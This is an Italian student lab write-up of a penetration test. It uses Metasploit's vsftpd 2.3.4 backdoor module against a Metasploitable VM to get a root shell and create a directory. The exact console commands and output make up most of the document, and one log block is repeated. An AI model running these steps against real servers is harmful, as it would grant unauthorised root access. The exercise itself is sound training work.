

Esercitazione Penetration Test Con MSFConsole

In questa esercitazione ho simulato un attacco informatico per testare la sicurezza di Metasploitable. L'obiettivo era sfruttare una vulnerabilità nota del servizio FTP per ottenere il controllo remoto del sistema e modificarne il file system.

1. Configurazione della rete e del target

Come prima cosa, ho configurato la vittima (Metasploitable) affinché rispondesse all'indirizzo IP richiesto dalla traccia. Ho utilizzato il comando **"ifconfig"** per impostare l'IP **"192.168.1.149"** sulla scheda di rete Metasploitable. Successivamente, dal portale kali, ho effettuato un test di ping per verificare che la vittima fosse raggiungibile.

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:88:df:dc
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fdbc:a5f1:ef3d:d8a0:a00:27ff:fe88:dfdc/64 Scope:Global
          inet6 addr: fe80::a00:27ff:fe88:dfdc/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:535 errors:0 dropped:0 overruns:0 frame:0
          TX packets:161 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:45914 (44.8 KB)  TX bytes:19125 (18.6 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:235 errors:0 dropped:0 overruns:0 frame:0
          TX packets:235 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:89533 (87.4 KB)  TX bytes:89533 (87.4 KB)

msfadmin@metasploitable:~$
```

2. Preparazione dell'attacco con Metasploit

Dopo aver avviato **Metasploit** e cercato il modulo specifico per il servizio **"vsftpd"**. Una volta individuato l'exploit, l'ho selezionato e ho configurato il parametro **"RHOSTS"** con l'indirizzo IP del mio target. **Comando1:** *use exploit/unix/ftp/vsftpd_234_backdoor*, **comando2:** *set RHOSTS 192.168.1.149*.

```
msf > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal  Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor     2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
```

3. Fase di Exploitation

Ho lanciato l'attacco tramite il comando **"exploit"**. Durante questa fase ho riscontrato alcune difficoltà iniziali nella stabilizzazione della sessione, che ho risolto interagendo direttamente con la sessione aperta tramite il comando **"sessions -i 1"**. Una volta stabilita la connessione ho digitato **"whoami"** per verificare il mio livello di accesso, il sistema ha risposto con **"root"**, confermando che ero riuscito a ottenere il controllo sulla macchina.

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - The port used by the backdoor bind listener is already open
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.13:32775 -> 192.168.1.149:6200) at 2026-04-13 11:21:29 -0400
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) > sessions -i 1
[*] Starting interaction with 1...

whoami
root
```

4. Fase creazione Cartella

Dopo aver ottenuto il pieno controllo del sistema, ho proceduto con la creazione della cartella **"test_metasploit"**. Mi sono spostato nella cartella principale del sistema e qui ne ho creato una nuova. Ho utilizzato il comando **"mkdir /test_metasploit"** per creare la cartella e il comando **"ls -d /test_metasploit"** per verificare l'effettiva creazione.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - The port used by the backdoor bind listener is already open
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.13:32775 -> 192.168.1.149:6200) at 2026-04-13 11:21:29 -0400
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) > sessions -i 1
[*] Starting interaction with 1...

whoami
root
mkdir /test_metasploit
ls -d /test_metasploit
/test_metasploit
```

5. Conclusioni

Attraverso questa simulazione, ho potuto verificare quanto sia pericoloso mantenere servizi obsoleti e vulnerabili attivi su un server. In pochi passaggi sono stato in grado di bypassare le difese e operare come amministratore di sistema sul target.